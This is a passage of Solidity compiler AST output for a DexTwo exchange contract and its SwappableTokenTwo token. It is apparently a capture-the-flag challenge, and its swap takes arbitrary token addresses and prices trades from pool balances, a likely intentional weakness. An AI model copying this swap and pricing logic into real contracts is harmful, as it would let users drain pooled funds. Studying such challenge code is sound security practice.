(bool)"}},"id":51127,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"936:45:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51128,"nodeType":"ExpressionStatement","src":"936:45:69"},{"expression":{"arguments":[{"arguments":[{"id":51135,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1023:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51134,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1015:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51133,"name":"address","nodeType":"ElementaryTypeName","src":"1015:7:69","typeDescriptions":{}}},"id":51136,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1015:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":51137,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1030:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51138,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1034:6:69","memberName":"sender","nodeType":"MemberAccess","src":"1030:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51139,"name":"swapAmount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51098,"src":"1042:10:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51130,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51079,"src":"998:2:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51129,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"991:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51131,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"991:10:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51132,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1002:12:69","memberName":"transferFrom","nodeType":"MemberAccess","referencedDeclaration":47938,"src":"991:23:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,address,uint256) external returns (bool)"}},"id":51140,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"991:62:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51141,"nodeType":"ExpressionStatement","src":"991:62:69"}]},"functionSelector":"df791e50","implemented":true,"kind":"function","modifiers":[],"name":"swap","nameLocation":"655:4:69","parameters":{"id":51082,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51077,"mutability":"mutable","name":"from","nameLocation":"668:4:69","nodeType":"VariableDeclaration","scope":51143,"src":"660:12:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51076,"name":"address","nodeType":"ElementaryTypeName","src":"660:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51079,"mutability":"mutable","name":"to","nameLocation":"682:2:69","nodeType":"VariableDeclaration","scope":51143,"src":"674:10:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51078,"name":"address","nodeType":"ElementaryTypeName","src":"674:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51081,"mutability":"mutable","name":"amount","nameLocation":"694:6:69","nodeType":"VariableDeclaration","scope":51143,"src":"686:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51080,"name":"uint256","nodeType":"ElementaryTypeName","src":"686:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"659:42:69"},"returnParameters":{"id":51083,"nodeType":"ParameterList","parameters":[],"src":"709:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51179,"nodeType":"FunctionDefinition","src":"1066:207:69","nodes":[],"body":{"id":51178,"nodeType":"Block","src":"1161:112:69","nodes":[],"statements":[{"expression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51175,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51164,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51154,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51149,"src":"1180:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"arguments":[{"arguments":[{"id":51161,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1218:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51160,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1210:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51159,"name":"address","nodeType":"ElementaryTypeName","src":"1210:7:69","typeDescriptions":{}}},"id":51162,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1210:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":51156,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51147,"src":"1196:2:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51155,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1189:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51157,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1189:10:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51158,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1200:9:69","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1189:20:69","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51163,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1189:35:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1180:44:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":51165,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1179:46:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"arguments":[{"arguments":[{"id":51172,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1259:4:69","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":51171,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1251:7:69","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51170,"name":"address","nodeType":"ElementaryTypeName","src":"1251:7:69","typeDescriptions":{}}},"id":51173,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1251:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":51167,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51145,"src":"1235:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51166,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1228:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51168,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1228:12:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1241:9:69","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1228:22:69","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51174,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1228:37:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1179:86:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":51176,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1178:88:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":51153,"id":51177,"nodeType":"Return","src":"1171:95:69"}]},"functionSelector":"635bc0c2","implemented":true,"kind":"function","modifiers":[],"name":"getSwapAmount","nameLocation":"1075:13:69","parameters":{"id":51150,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51145,"mutability":"mutable","name":"from","nameLocation":"1097:4:69","nodeType":"VariableDeclaration","scope":51179,"src":"1089:12:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51144,"name":"address","nodeType":"ElementaryTypeName","src":"1089:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51147,"mutability":"mutable","name":"to","nameLocation":"1111:2:69","nodeType":"VariableDeclaration","scope":51179,"src":"1103:10:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51146,"name":"address","nodeType":"ElementaryTypeName","src":"1103:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51149,"mutability":"mutable","name":"amount","nameLocation":"1123:6:69","nodeType":"VariableDeclaration","scope":51179,"src":"1115:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51148,"name":"uint256","nodeType":"ElementaryTypeName","src":"1115:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1088:42:69"},"returnParameters":{"id":51153,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51152,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51179,"src":"1152:7:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51151,"name":"uint256","nodeType":"ElementaryTypeName","src":"1152:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1151:9:69"},"scope":51225,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":51207,"nodeType":"FunctionDefinition","src":"1279:208:69","nodes":[],"body":{"id":51206,"nodeType":"Block","src":"1336:151:69","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":51190,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1380:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51191,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1384:6:69","memberName":"sender","nodeType":"MemberAccess","src":"1380:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51192,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51181,"src":"1392:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51193,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51183,"src":"1401:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51187,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51028,"src":"1364:6:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51186,"name":"SwappableTokenTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51281,"src":"1346:17:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableTokenTwo_$51281_$","typeString":"type(contract SwappableTokenTwo)"}},"id":51188,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1346:25:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"id":51189,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1372:7:69","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":51280,"src":"1346:33:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":51194,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1346:62:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51195,"nodeType":"ExpressionStatement","src":"1346:62:69"},{"expression":{"arguments":[{"expression":{"id":51200,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1452:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51201,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1456:6:69","memberName":"sender","nodeType":"MemberAccess","src":"1452:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51202,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51181,"src":"1464:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51203,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51183,"src":"1473:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51197,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51030,"src":"1436:6:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51196,"name":"SwappableTokenTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51281,"src":"1418:17:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableTokenTwo_$51281_$","typeString":"type(contract SwappableTokenTwo)"}},"id":51198,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1418:25:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"id":51199,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1444:7:69","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":51280,"src":"1418:33:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":51204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1418:62:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51205,"nodeType":"ExpressionStatement","src":"1418:62:69"}]},"functionSelector":"095ea7b3","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"1288:7:69","parameters":{"id":51184,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51181,"mutability":"mutable","name":"spender","nameLocation":"1304:7:69","nodeType":"VariableDeclaration","scope":51207,"src":"1296:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51180,"name":"address","nodeType":"ElementaryTypeName","src":"1296:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51183,"mutability":"mutable","name":"amount","nameLocation":"1321:6:69","nodeType":"VariableDeclaration","scope":51207,"src":"1313:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51182,"name":"uint256","nodeType":"ElementaryTypeName","src":"1313:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1295:33:69"},"returnParameters":{"id":51185,"nodeType":"ParameterList","parameters":[],"src":"1336:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51224,"nodeType":"FunctionDefinition","src":"1493:137:69","nodes":[],"body":{"id":51223,"nodeType":"Block","src":"1574:56:69","nodes":[],"statements":[{"expression":{"arguments":[{"id":51220,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51211,"src":"1615:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":51217,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51209,"src":"1598:5:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51216,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1591:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51218,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1591:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51219,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1605:9:69","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1591:23:69","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51221,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1591:32:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":51215,"id":51222,"nodeType":"Return","src":"1584:39:69"}]},"functionSelector":"f7888aec","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1502:9:69","parameters":{"id":51212,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51209,"mutability":"mutable","name":"token","nameLocation":"1520:5:69","nodeType":"VariableDeclaration","scope":51224,"src":"1512:13:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51208,"name":"address","nodeType":"ElementaryTypeName","src":"1512:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51211,"mutability":"mutable","name":"account","nameLocation":"1535:7:69","nodeType":"VariableDeclaration","scope":51224,"src":"1527:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51210,"name":"address","nodeType":"ElementaryTypeName","src":"1527:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1511:32:69"},"returnParameters":{"id":51215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51214,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51224,"src":"1565:7:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51213,"name":"uint256","nodeType":"ElementaryTypeName","src":"1565:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1564:9:69"},"scope":51225,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":51025,"name":"Ownable","nameLocations":["249:7:69"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"249:7:69"},"id":51026,"nodeType":"InheritanceSpecifier","src":"249:7:69"}],"canonicalName":"DexTwo","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51225,46700,48281],"name":"DexTwo","nameLocation":"239:6:69","scope":51282,"usedErrors":[],"usedEvents":[46601]},{"id":51281,"nodeType":"ContractDefinition","src":"1634:462:69","nodes":[{"id":51229,"nodeType":"VariableDeclaration","src":"1676:20:69","nodes":[],"constant":false,"mutability":"mutable","name":"_dex","nameLocation":"1692:4:69","scope":51281,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51228,"name":"address","nodeType":"ElementaryTypeName","src":"1676:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"private"},{"id":51255,"nodeType":"FunctionDefinition","src":"1703:207:69","nodes":[],"body":{"id":51254,"nodeType":"Block","src":"1833:77:69","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":51245,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1849:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51246,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1853:6:69","memberName":"sender","nodeType":"MemberAccess","src":"1849:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51247,"name":"initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51237,"src":"1861:13:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51244,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"1843:5:69","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51248,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1843:32:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51249,"nodeType":"ExpressionStatement","src":"1843:32:69"},{"expression":{"id":51252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51250,"name":"_dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51229,"src":"1885:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51251,"name":"dexInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51231,"src":"1892:11:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1885:18:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51253,"nodeType":"ExpressionStatement","src":"1885:18:69"}]},"implemented":true,"kind":"constructor","modifiers":[{"arguments":[{"id":51240,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51233,"src":"1815:4:69","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":51241,"name":"symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51235,"src":"1821:6:69","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"id":51242,"kind":"baseConstructorSpecifier","modifierName":{"id":51239,"name":"ERC20","nameLocations":["1809:5:69"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1809:5:69"},"nodeType":"ModifierInvocation","src":"1809:19:69"}],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51238,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51231,"mutability":"mutable","name":"dexInstance","nameLocation":"1723:11:69","nodeType":"VariableDeclaration","scope":51255,"src":"1715:19:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51230,"name":"address","nodeType":"ElementaryTypeName","src":"1715:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51233,"mutability":"mutable","name":"name","nameLocation":"1750:4:69","nodeType":"VariableDeclaration","scope":51255,"src":"1736:18:69","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":51232,"name":"string","nodeType":"ElementaryTypeName","src":"1736:6:69","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":51235,"mutability":"mutable","name":"symbol","nameLocation":"1770:6:69","nodeType":"VariableDeclaration","scope":51255,"src":"1756:20:69","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":51234,"name":"string","nodeType":"ElementaryTypeName","src":"1756:6:69","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":51237,"mutability":"mutable","name":"initialSupply","nameLocation":"1786:13:69","nodeType":"VariableDeclaration","scope":51255,"src":"1778:21:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51236,"name":"uint256","nodeType":"ElementaryTypeName","src":"1778:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1714:86:69"},"returnParameters":{"id":51243,"nodeType":"ParameterList","parameters":[],"src":"1833:0:69"},"scope":51281,"stateMutability":"nonpayable","virtual":false,"visibilit